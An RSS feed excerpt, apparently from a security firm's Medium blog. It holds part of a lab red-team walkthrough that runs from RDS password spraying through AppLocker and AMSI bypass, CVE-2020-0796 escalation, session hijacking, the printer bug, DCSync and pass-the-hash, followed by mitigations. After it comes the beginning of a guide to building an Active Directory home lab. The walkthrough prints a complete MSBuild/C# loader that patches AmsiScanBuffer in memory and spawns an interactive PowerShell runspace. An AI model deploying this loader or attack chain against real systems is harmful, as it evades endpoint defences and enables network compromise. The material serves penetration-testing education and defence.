Settings</figcaption></figure><h4>Launching the Password Spraying Attack</h4><p>Once everything is set up we click on <em>Start Attack</em> and wait for any results. Below we can see one successful login for the user james_dean based on the redirection and different response length.</p><p>Some services handle successful logins differently and may show multiple redirects, while others may show no redirects and you have to rely on analyzing the results for different response lengths which may be indicative of a successful login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*H6QQAUJlUUgjDAce1c_IPg.png" /><figcaption>Successful Login</figcaption></figure><h4>Accessing the RDS Service with the Obtained Credentials</h4><p>We next login with the user’s credentials and see that they have access to very little — only Calculator and WordPad.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*NNurJaD3Rfpi0acB9yYWUw.png" /><figcaption>Logged in to RDS</figcaption></figure><p>Even with this relatively small amount of access we can move forward. We next download the .rdp file for the WordPad application to our attack host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*HpxCDoMh0S5hW756Iuiswg.png" /><figcaption>Downloading .rdp File for WordPad</figcaption></figure><p>Double click on the .rdp file and it will open in Remmina, with a credential prompt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*JSybFDtkfz2cXafHI-FvOA.png" /><figcaption>User Credentials Added</figcaption></figure><p>We next confirm successful access to the WordPad application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*k12-w0a505RNe5gt_q3xLQ.png" /><figcaption>WordPad as the james_dean User</figcaption></figure><p>Next we can attempt to open various files and directly call PowerShell.exe or cmd.exe but can see that all attempts are denied.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*Pm3pYxJ9EOFuzJqli4pHDQ.png" /><figcaption>File Open in WordPad</figcaption></figure><p>Trying to bypass RDS restrictions by launching PowerShell through Windows Explorer is denied as seen below. Since AppLocker is in place, it is not possible to launch any executable that is not explicitly whitelisted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MAKD8_t49VV5Q66rDTI3Zw.png" /><figcaption>PowerShell Script Execution Blocked</figcaption></figure><h3>RDS &amp; AppLocker Breakout</h3><h4>What is AppLocker?</h4><p>AppLocker advances the application control features and functionality of Software Restriction Policies. AppLocker allows us to create rules to allow or deny applications from running based on unique identities of files and to specify which users or groups can run those applications.</p><p>AppLocker allows organizations to control what is allowed in the environment. AppLocker can control the following applications:</p><ul><li>Executable files (.exe and .com)</li><li>Scripts (.js, .ps1, .vbs, .cmd, and .bat)</li><li>Windows Installer files (.mst, .msi and .msp)</li><li>DLL files (.dll and .ocx)</li><li>Packaged apps and packaged app installers (appx)</li></ul><p>For demonstration purposes we used AppLocker rules that we commonly see implemented in organizations that we assess.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ijngSDv5lBNdCnxOgdU0gA.png" /><figcaption>AppLocker Default Rules and PowerShell Block</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*B_-Z217Ag8PLd6tYDPY-4A.png" /><figcaption>Blocking CMD via Group Policy</figcaption></figure><p>As seen above, all versions of PowerShell are blocked. Also, cmd.exe is blocked through Group Policy. We have seen many organizations that block PowerShell but not PowerShell_ISE or they do not block both the x32 and x64 versions.</p><h4>Breaking out of RDS &amp; AppLocker</h4><p>We often encounter organizations that stop at blocking just PowerShell, PowerShell_ISE, and cmd.exe. However, there are many other executables that can present a risk. For demonstration purposes we decided to use MSBuild.</p><p>MSBuild is a native Windows binary used for building applications and is whitelisted by default. It allows us to compile and execute inline C# code stored in XML files, as discovered by <a href="https://medium.com/u/461b1d7fa910">@</a>SubTee.</p><p>There are multiple runspace projects publicly available but we needed something that would run interactively. We used this <a href="https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap2/console.xml">Powershell runspace</a> by @SparcFlow based on <a href="http://twitter.com/SubTee">@SubTee</a>’s work. Using this, we bypassed RDS and Applocker restrictions by running the below command via Explorer after choosing File → Open in WordPad. However, due to protections in place we had to make some modifications which we will discuss in the next section.</p><pre>c:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe c:\temp\test.xml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*VTXhRM85KsMKcq5YcJqtbA.png" /><figcaption>Launching Runspace with MSBuild</figcaption></figure><p>After running the command we have an interactive PowerShell runspace.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*h_OSfZ_vLudZr4ql-rpriw.png" /><figcaption>Interactive Runspace</figcaption></figure><h3>Defeating Windows Defender</h3><p>We now have a working PowerShell runspace but attempting to enumerate the domain with a tool such as PowerView shows that Windows Defender AMSI is blocking us from loading it into memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*lhlSYg4LW29l-SykBJ2B0A.png" /><figcaption>PowerView Blocked by Windows Defender AMSI</figcaption></figure><h4>Anti-Malware Scan Interface (AMSI)</h4><p>AMSI was introduced in Windows 10 and is constantly being improved upon. AMSI allows services and applications to communicate with the anti-malware product installed on the host. AMSI hooks into known Windows applications in order to deobfuscate and analyze what is being executed. If AMSI catches a malicious script or application, it will pass it to the anti-malware solution before execution.</p><p>AMSI is implemented on the following:</p><ul><li>PowerShell</li><li>Windows Script Host(wscript.exe, Cscript.exe)</li><li>JavaScript and VBScript</li><li>Microsoft Office VBA macros</li><li>Any elevation prevention system such as UAC</li></ul><p>Early versions of Windows 10 AMSI identified malicious content by looking for malicious strings on execution using the AmsiScanString() function. In more recent versions of Windows 10 this function was replaced by AmsiScanBuffer(). AmsiScanBuffer() treats the user console input string as a buffer, making it safer and harder to bypass, but still possible.</p><p>If you want to understand how AMSI work in-depth we suggest this excellent research by <a href="https://www.cyberark.com/threat-research-blog/amsi-bypass-patching-technique/">CyberArk</a>.</p><p><strong>Note</strong>: <em>It is important to keep in mind that having the latest updates from Defender does not mean that you have the most recent version of Defender. Some changes are made only on the OS level. You should always test against the latest version (which was Windows 10 Version 1909 at the time of writing this post).</em></p><h4>Bypassing AMSI</h4><p>We picked an open source project called <a href="https://github.com/padovah4ck/PSByPassCLM">PSByPassCLM</a> to check if it is possible to defeat AMSI without making any changes or creating our own version. The project attempts to bypass Constrained Language Mode(CLM) and AMSI by using a PowerShell runspace and an AMSI bypass using the patching technique.</p><p>Before we move further and attempt to bypass AMSI we have to consider two issues:</p><ul><li>The project is an executable and we know AppLocker will not allow us to run any executable aside from allowed applications.</li><li>We need to verify that Defender does not flag it as malicious.</li></ul><p>There is a very useful project called <a href="https://github.com/matterpreter/DefenderCheck">DefenderCheck </a>that allows you to take a binary and split it until it finds the exact bytes that Windows Defender flags on.</p><p>We stood up a Windows 10 1909 box and used DefenderCheck to see if the PSByPassCLM executable was identified as malicious or not. DefenderCheck found that the executable is malicious and we can see it was flagged with AmsiTamper signature we also noticed on static analysis it flags “AmsiScanBuffer”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W1WK_uHvZKRhkF0NMiFxzg.png" /><figcaption>Open source CLM Bypass Detected</figcaption></figure><p>We will have to modify our bypass to overcome both of these issues in order to move forward.</p><h4>Transforming the Project into MSBuildShell</h4><p>We know that we cannot launch executables but we can launch MSBuild. Our goal was to create a bypass that will provide us with an interactive console that we can continuously operate in. Thanks to incredible research done around AMSI, we picked the base code by <a href="http://twitter.com/SubTee">@SubTee</a> MSBuild Runspace modified it to be interactive. We also added an updated AMSI bypass (inspired by research done by <a href="https://rastamouse.me/2018/10/amsiscanbuffer-bypass/">@RastaMouse</a>) to eliminate what Defender was flagging as malicious.</p><pre>&lt;Project ToolsVersion=&quot;4.0&quot; xmlns=&quot;http://schemas.microsoft.com/developer/msbuild/2003&quot;&gt;<br>  &lt;Target Name=&quot;Bypass&quot;&gt;<br>   &lt;CLMBypass/&gt;<br>  &lt;/Target&gt;<br>   &lt;UsingTask<br>    TaskName=&quot;CLMBypass&quot;<br>    TaskFactory=&quot;CodeTaskFactory&quot;<br>    AssemblyFile=&quot;C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll&quot; &gt;<br>     &lt;Task&gt;<br>      &lt;Reference Include=&quot;System.Management.Automation&quot; /&gt;		<br>      &lt;Code Type=&quot;Class&quot; Language=&quot;cs&quot;&gt;<br>      &lt;![CDATA[<br>			using System;<br>			using System.IO;<br>			using Microsoft.Build.Framework;<br>			using Microsoft.Build.Utilities;<br>			using System.ComponentModel;<br>			using System.Collections.Generic;<br>			using System.Collections.ObjectModel;<br>			using System.Runtime.InteropServices;<br>			using System.Management.Automation;<br>			using System.Management.Automation.Runspaces;<br>      using System.Text;<br>      public class CLMBypass : Task, ITask<br>      {<br>         [DllImport(&quot;kernel32&quot;)]<br>         public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);<br> <br>         [DllImport(&quot;kernel32&quot;)]<br>         public static extern IntPtr LoadLibrary(string name);<br>         [DllImport(&quot;kernel32&quot;)]<br>         public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);<br>         static int Bypass()<br>         {<br>            String[] val = { &quot;Am&quot;, &quot;si&quot;, &quot;Sc&quot;, &quot;an&quot;, &quot;Buf&quot;, &quot;fer&quot; };<br>            String sepe = &quot;&quot;;<br>            var concat = String.Join(sepe,val);<br>            <br>            char[] chars2 = { &#39;a&#39;, &#39;m&#39;, &#39;s&#39;, &#39;i&#39;, &#39;.&#39;, &#39;d&#39;, &#39;l&#39;, &#39;l&#39; };<br>            String libName = string.Join(&quot;&quot;, chars2);<br>            <br>            IntPtr Address = GetProcAddress(LoadLibrary(libName), concat);<br>            UIntPtr size = (UIntPtr)5;<br>            uint p = 0;<br>            VirtualProtect(Address, size, 0x40, out p);<br>            Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };<br>            Marshal.Copy(Patch, 0, Address, 6);<br>	      	  return 0;<br>          }<br>          public override bool Execute()<br>          {<br>              Runspace runspace = RunspaceFactory.CreateRunspace();<br>              runspace.Open();<br>              Bypass();<br>              <br>              RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace);<br>              var command = &quot;&quot;;<br>              do<br>              {<br>                Console.Write(&quot;PS &gt; &quot;);<br>                command = Console.ReadLine();<br></pre><pre>                if (!string.IsNullOrEmpty(command))<br>                {<br>                    using (Pipeline pipeline = runspace.CreatePipeline())<br>                    {<br>                        try<br>                        {</pre><pre>                            pipeline.Commands.AddScript(command);<br>                            pipeline.Commands.Add(&quot;Out-String&quot;);</pre><pre>                            Collection&lt;PSObject&gt; results = pipeline.Invoke();<br></pre><pre>                            StringBuilder stringBuilder = new StringBuilder();<br>                            foreach (PSObject obj in results)<br>                            {<br>                                stringBuilder.AppendLine(obj.ToString());<br>                            }<br>                            Console.Write(stringBuilder.ToString());<br>                        }<br>                        catch (Exception e)</pre><pre>                        {<br>                            Console.WriteLine(e.Message);<br>                        }<br>                        </pre><pre>                    }</pre><pre>                }<br>              }<br>             while (command != &quot;exit&quot;);<br>             return true;<br>        }<br>      }<br>      ]]&gt;<br>      &lt;/Code&gt;<br>    &lt;/Task&gt;<br>  &lt;/UsingTask&gt;<br>&lt;/Project&gt;</pre><p>Our first issue is fixed. We compiled the executable version to see if Defender would flag on anything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3oyXyav-pi7wQV1MCbQOJg.png" /><figcaption>Modified Edition of AMSI Bypass</figcaption></figure><p>We now know that our executable version is safe. But since we won’t be able to use it due to AppLocker blocking us from running any executable file outside of the default rules, we will run it using the MSBuild version we created above.</p><h4>Executing our Project with MSBuild</h4><p>We can see below that our project successfully bypassed AMSI and now PowerView is loaded into memory without AMSI interruption.</p><pre>c:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe c:\temp\CLMBypass.csproj</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xMMtWECNmHhJElV2DEMpPw.png" /><figcaption>MSBuild Project Launched and Bypassing AMSI</figcaption></figure><h3>Finding Potential Attack Paths</h3><h4>Moving Laterally</h4><p>Once AMSI has been taken care of it is time to look for paths for vertical/lateral privilege escalation within the domain. A quick check against our current user shows that that they are in the RDP Users group for a domain-joined workstation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*b9gPPMpURedBImL2jwWWeg.png" /><figcaption>Enumerating Access with PowerView</figcaption></figure><p>We connect to the workstation via RDP through a tunnel and begin further enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*PVnZArV2-dqxH2fdv0Gr8w.png" /><figcaption>Logging in via RDP</figcaption></figure><h3>Privilege Escalation</h3><p>The user james_dean is not in the local administrators group but the host is vulnerable to <a href="https://github.com/danigargu/CVE-2020-0796">CVE-2020–0796</a> which is a recent Windows SMBv3 local privilege escalation exploit (a memory corruption vulnerability in the Windows 10 SMB server). Technical analysis of the vulnerability can be found <a href="https://www.fortinet.com/blog/threat-research/cve-2020-0796-memory-corruption-vulnerability-in-windows-10-smb-server.html#.Xndfn0lv150.twitter">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dfFHkanOOBUhuD308PSV4A.png" /><figcaption>Enumerating Privileges</figcaption></figure><p>After compiling and running the exploit PoC we are greeted with a SYSTEM shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bDMJ9LyKN2l4iD61yabNfg.png" /><figcaption>CVE-2020–0796 Local Privilege Escalation</figcaption></figure><h4>Passwordless RDP Session Hijacking to Compromise the Domain</h4><p>Additional enumeration on the workstation shows an inactive session for the Domain Administrator account. With NT Authority\SYSTEM rights we can hijack any user’s session using tscon, whether it is in a connected or disconnected state. We can use tscon to hijack this disconnected session without the user’s knowledge and gain Domain Admin rights in the octagon.local domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*eSHoGhP7AiJ6vb617VDcRg.png" /><figcaption>Hijacking Domain Admin Session</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8jujt8IhvozNbEmeiNTHOw.png" /><figcaption>Confirming Domain Admin Access</figcaption></figure><h3>Enumerating Domain Trusts</h3><p>Further enumeration shows a bidirectional trust with the elysium.local forest. There are a variety of attacks that can be attempted across forest trusts such as Kerberoasting, SID History abuse, and more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*oF4neIqSk5xlcgc3f7NiIA.png" /><figcaption>Enumerating Domain Trust</figcaption></figure><h3>Compromising Partner Forest using the “PrinterBug”</h3><h4>The Printer Bug</h4><p>Since we have full control over a Domain Controller (which by default has Kerberos unconstrained delegation enabled) we can further enumerate to see if the “printer bug” attack is possible. Many posts have been done on the topic such as <a href="https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/">this one</a> by <a href="https://medium.com/u/74ad66811b78">Will</a> and <a href="https://medium.com/@riccardo.ancarani94/exploiting-unconstrained-delegation-a81eabbd6976">this one</a> by <a href="http://twitter.com/riccardo">@riccardo</a>.ancarani94.</p><p>Some quick enumeration with PowerView shows two hosts with unconstrained delegation. We can compromise either using this attack but we will target the DC03 Domain Controller here in order the fully compromise the elysium.local forest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*3u0qP-EHSeGgB2IQ6Q7slQ.png" /><figcaption>Enumerating Hosts with Unconstrained Delegation</figcaption></figure><p>In order to successfully perform the attack, we first check that the spoolss service is running on the target Domain Controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*eFj5MIQQnql8o9TmiU57lg.png" /><figcaption>Checking for Spoolss Service</figcaption></figure><p>Next we open two separate consoles, one running Rubeus in monitor mode to monitor for Windows Security Event log ID <strong>4624: <em>An account was successfully logged on</em></strong><em>.</em></p><p>In the second console we run the <a href="https://github.com/leechristensen/SpoolSample">SpoolSample</a> tool created by <a href="https://medium.com/u/91b45ba406ef">Lee Christensen</a> for “coercing Windows hosts to authenticate to other machines via the MS-RPRN RPC interface”. We give the tool the target Domain Controller and current Domain Controller as arguments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*PbdYTGL-_STrm3gXjFOCoQ.png" /><figcaption>SpoolSample PoC Tool</figcaption></figure><p>Once we execute the SpoolSample tool we obtain the base64 encoded TGT for the DC03 machine account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*cwQYsRT7uFFxa-x3YZ8-Bw.png" /><figcaption>Obtaining TGT for the DC03 Machine Account</figcaption></figure><h4>Pass-The-Ticket</h4><p>After formatting the base64 ticket offline to remove new lines and white space we can use Rubeus to perform a pass-the-ticket attack and import the DC03 machine account ticket into memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*7_0PHNJZvXQFsRIrXDA1GQ.png" /><figcaption>Pass-the-Ticket with Rubeus</figcaption></figure><p>Issuing the klist command confirms that the import was successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*YwOGBfvHLLsbigYtoTXWTg.png" /><figcaption>Klist Command</figcaption></figure><h4><strong>DCSync Attack</strong></h4><p>With the ticket imported we can now perform the DCSync attack against the elysium.local domain controller and obtain the Domain Administrator NTLM password hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*EbrCzlvhHoBnyvU_WMJOBQ.png" /><figcaption>DCSync with Mimikatz</figcaption></figure><h4>Pass-The-Hash Attack</h4><p>We can then perform a pass-the-hash attack using the Domain Admin NTLM hash and Mimikatz. First we confirm that we cannot access the DC03 Domain Controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*vdglXCXWGjDsB5TUChq8qw.png" /><figcaption>Accessing DC03 Denied</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*AqHQ9EhPJCEQ0Dw3a7JehA.png" /><figcaption>Pass-the-Hash with Mimikatz</figcaption></figure><p>After the above successful pass-the-hash attack we have full access to the Domain Controller and have fully compromised the second forest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*WMcHKUgNzDJCjCOOMOEvDQ.png" /><figcaption>Full Access to DC03</figcaption></figure><h3><strong>Conclusion</strong></h3><p>In this post we covered a successful password spraying attack against an exposed RDS service, bypassing AppLocker and Windows Defender AMSI restrictions, lateral movement, local privilege escalation and abusing a partner forest by leveraging unconstrained delegation and the “printer bug”.</p><p>While this scenario was created in a lab for the purposes of this attack chain walkthrough, it is not far off from what we encounter in our real-world assessments. This post demonstrates real-world threats that organizations should be aware of. While there is no magic bullet security solution, a number of steps could be taken to prevent/detect an attack like the one demonstrated here:</p><ol><li>Multi-factor authentication on the RDS portal combined with a strong password policy to mitigate the risk of password spraying.</li><li>Patch management to identify issues such as the local privilege escalation bug on the Windows 10 workstation.</li><li>Configuration management/an Active Directory security assessment to audit user rights (such as RDP access to a “security” workstation), identify hosts other than Domain Controllers with unconstrained delegation (SQL01), and checks to detect the “printer bug” flaw.</li><li>Fine-tuned logging and monitoring to alert on password spraying attempts and the other techniques highlighted in this post.</li></ol><p>As more and more companies are moving towards remote work, they are exposing ports and services that may make them more susceptible to an attack. It is important to understand the risks around opening up services such as RDS/Citrix, webmail, VPN, etc. and not just rely on internal endpoint protections such as Windows Defender, or more advanced protections such as EDR.</p><p>In the next the post in this series, we will discuss the risks around Outlook Web Access (OWA), and demonstrate another common scenario for once internal access has been achieved.</p><p>Interested in hearing more about our services?</p><p>Contact us at <a href="/service/mailto:info@vartaisecurity.com">info@vartaisecurity.com</a> to discuss your unique project needs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e984101c78b7" width="1" height="1" alt=""><hr><p><a href="https://medium.com/vartai-security/attack-chain-series-remote-access-service-compromise-part-1-rds-e984101c78b7">Attack Chain Series: Remote Access Service Compromise Part 1 — RDS</a> was originally published in <a href="https://medium.com/vartai-security">Vartai Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab Building Guide: Virtual Active Directory]]></title>
            <link>https://medium.com/@vartaisecurity/lab-building-guide-virtual-active-directory-5f0d0c8eb907?source=rss-10dff387b6a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f0d0c8eb907</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[training]]></category>
            <category><![CDATA[virtualization]]></category>
            <dc:creator><![CDATA[Vartai Security]]></dc:creator>
            <pubDate>Sat, 28 Mar 2020 18:03:07 GMT</pubDate>
            <atom:updated>2020-03-28T18:03:07.174Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TYDNoPKjrNAV5JLa5eaNaw@2x.png" /></figure><p><strong>Introduction</strong></p><p>As an information security professional it is extremely important to not only be able to find and exploit flaws but also understand the underlying issue and be able to articulate the reason/fixes to clients. With a home lab you can begin to gain “sysadmin” type experience if you do not already have it. A home lab provides the following benefits:</p><ul><li>Learn how to configure things improperly and how to fix them.</li><li>Have a test bed for practicing tools/tactics/techniques and a safe place to experiment with new and potentially volatile exploits.</li><li>Experiment with major Active Directory misconfigurations (these can be configured by hand or with a tool such as <a href="https://www.secframe.com/badblood?utm_content=112928626&amp;utm_medium=social&amp;utm_source=twitter&amp;hss_channel=tw-323400883">BadBlood</a>).</li><li>Fully test out and understand all of the capabilities of both built-in AD tools and automated enumeration tools such as PowerView and Bloodhound.</li></ul><p>The objective of this post to help readers build a fully functional mini AD lab that can be spun up to practice a wide variety of attacks. We will walk through creating the following lab structure:</p><p>Two Forests with a bidirectional forest trust and an intra-forest parent-child domain trust.</p><ul><li>1 domain controller (root DC — Forest A)</li><li>1 domain controller (child DC — Forest A)</li><li>1 domain controller (Forest B)</li><li>1 member server (web, file, SQL, application) (parent — Forest A)</li><li>1 workstation (child — Forest A)</li><li>1 workstation (Forest B)</li></ul><p>The domain name scheme will be as follows:</p><ul><li>octagon.local (root domain — Forest A)</li><li>dev.octagon.local (child domain — Forest A)</li><li>elysium.local (root domain — Forest B)</li></ul><p><strong>Initial Setup</strong></p><p>To get started you will need to set up the following:</p><ul><li>(4) Server 2016/2019 server VMs</li><li>(2) Windows 10 workstation VMs</li></ul><p>Begin by building each host fully and installing VMWare Tools. For now do not worry about applying any patches/updates. You can choose your own host names but for the purposes of this exercise we will be using:</p><ul><li>DC01(192.168.88.5)</li><li>DC02 (192.168.88.6)</li><li>DC03 (192.168.88.7)</li><li>MS01 (192.168.88.150)</li><li>WS01 (192.168.88.100)</li><li>WS02 (192.168.88.101)</li></ul><p>Configure each with the same local administrator password for now — don’t forget it!</p><p>In order to create your lab you will need desktop virtualization software such as VMWare Workstation/Fusion, VirtualBox or a separate hypervisor (server) running ESXi or Proxmox. This guide will cover the basics of initial setup with VMWare Workstation and VirtualBox. In-depth usage of each is out of the scope of this article. The necessary software can be downloaded from the following URLs:</p><ul><li><a href="https://www.vmware.com/products/workstation-player/workstation-player-evaluation.html">https://www.vmware.com/products/workstation-player/workstation-player-evaluation.html</a></li><li><a href="https://www.virtualbox.org/wiki/Downloads">https://www.virtualbox.org/wiki/Downloads</a></li></ul><p>If possible, we recommend following this guide using VirtualBox or VMWare Workstation (provided you have purchased a valid license for the latter). Aside from other advanced features, both Workstation and VirtualBox support tabs when running multiple VMs. VMware player does not support tabs and you will need a new instance of Player running for each VM.</p><p><strong>Creating a Virtual Machine with VMWare Workstation</strong></p><p>In VMware Workstation start by clicking on File → New Virtual Machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*yAzieR_JJnHqSMOh_je4dg.png" /></figure><p>Choose <em>Installer disc image file (iso)</em> and select the appropriate ISO file on your local system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*MDoDKyTYnfUGE3ImumNR-w.png" /></figure><p>Enter a password for the administrator user. If you leave the license key blank, you will have a 90 trial period.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*g3sVSVX9IGqb3skZFZrphQ.png" /></figure><p>Ignore the product key warning if it pops up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*yuZ3NJCthIJ9t2UQu4okxw.png" /></figure><p>Choose a name for the VM based on the naming convention in prior slides. For better VM management and to avoid any conflicts create each VM in its own folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*wEirELbLINv1k17bxmX2bQ.png" /></figure><p>Select <em>Store virtual disk as single file</em> and give it a 40GB disk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*b8nvGzYku_VMNBE_3J6h_w.png" /></figure><p>Click <em>Finish</em> on the next screen. The default 2 GB ram and 2 cores should be plenty for lab purposes but can be adjusted later if issues arise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*tFlqEXTSOdGhKRDWmbUW3w.png" /></figure><p>After clicking finish, the VM will boot. Hit enter to boot from the ISO image. Choose <em>Windows Server 2016 Standard (Desktop Experience).</em> If you are already comfortable with creating VMs/managing AD then you can choose Server Core <em>Windows Server 2016 Standard</em>. Server core has a smaller footprint on disk and utilizes less resources but does not have a GUI so all configuration must be done via PowerShell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*yGq_cydqyvDNCM63gyCdiw.png" /></figure><p>The installation process will start and takes a while so we recommend creating each VM in parallel to save time. Alternatively, you can create 1 VM image and clone and then sysprep it but we will not cover that in this post.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*Q5U1YSic6kqBDWWDWKup1w.png" /></figure><p><strong>Creating a Virtual Machine with VirtualBox</strong></p><p>The process for building a VM in VirtualBox is similar. It can be downloaded from here: <a href="https://www.virtualbox.org/">https://www.virtualbox.org</a>. VirtualBox is free to use and allows for multiple VMs to be run simultaneously. It offers many enterprise-grade features and is cross-platform (Windows, OSX, and Linux).</p><p>Start by selecting the option to create a new VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*M63rMZs_Vi7dMtHxFwj1UQ.png" /></figure><p>The defaults will work for the purposes of this lab. This can be adjusted based on your available hardware and resources. The screenshot below shows the default options for creating the virtual disk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*7TMCcVMORo4F0Rz2EKdp5A.png" /></figure><p>For the purpose of this lab, be sure to leave the default <em>Dynamically allocated</em>. This will only use hard drive space as it fills up and save space on your host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*sPjCBXnUvKfpICh0yjbEow.png" /></figure><p>As with VMware Workstation after clicking finish the VM will boot, hit enter to boot from the ISO image.</p><p>Choose <em>Windows Server 2016 Standard (Desktop Experience)</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*9X-cII7kp3MACxh8Me8Wiw.png" /></figure><p>Follow the same process to create a base image for each server/workstation VM. While this entire process can be automated with Vagrant/Packer, Ansible, PowerCLI, etc., we feel it is important to become comfortable manually performing each task, starting from the basics, before moving towards automation.</p><p><em>Note: Make sure to install VMWare Tools on each VM.</em></p><p><strong>Building the Lab — Creating a Domain Controller</strong></p><p>Once the VMs are built, log in to the VM that will be your first Domain Controller. Search for ‘Computer’ in the start menu or go to Control Panel → System and Security → Security and change the computer name to a host name such as DC01 and then restart the server when prompted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/1*8ZWw84-BCpcRrLMvJPku7w.png" /></figure><p>Change network settings to set a static IP address and set the DNS server to localhost (127.0.0.1). You can also set DNS back to 8.8.8.8 if you need to do updates or download something but its preferable to keep your vulnerable lab local and not internet facing the majority of the time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*NlHgNXmy1pcX6AGn7lCxiw.png" /></figure><p>Your first Domain Controller is necessary for getting everything up and running with Active Directory. Log in to Server Manager and click on <em>Add roles and features</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*HDMYZfpSShH1lvYpizkVTQ.png" /></figure><p>Add the <em>Active Directory Domain Services </em>role, which is necessary before promoting the server to a domain controller. Leave all other roles unchecked and click <em>Next</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*wO8qVyMsJpZI-meBTjSfQQ.png" /></figure><p>Check the box next to <em>Restart the destination server automatically if required </em>and click <em>Yes</em> to confirm automatic restarts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*ft6efxv6hXBJmCAF883Ryw.png" /></figure><p>Once the role is installed click on <em>Promote this server to a domain controller.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*xlSilIkYM44EhBunLqab3g.png" /></figure><p>On the next screen, choose <em>Add a new forest</em> and select a root domain name. Choose something ending in .local or .ad.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*_jMNWsB3o0CjW4TMfpK7yQ.png" /></figure><p>Leave all of the defaults on the next screen and enter a DSRM password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*E9-EHejSQjukQrTwqoIsmQ.png" /></figure><p>Click <em>Next </em>and either leave the suggested NETBIOS name or modify it if desired.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*m5fF4n4KlqY-1o6flWdB7Q.png" /></figure><p>Click <em>Next </em>and leave all defaults, click <em>Next</em> again to go through prerequisite checks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*7hxSdvAs73eF5AdJJQmAhw.png" /></figure><p><em>Note: If you have not set a password for the built-in administrator account yet, installation will fail</em>. Set a password for the administrator account and click on 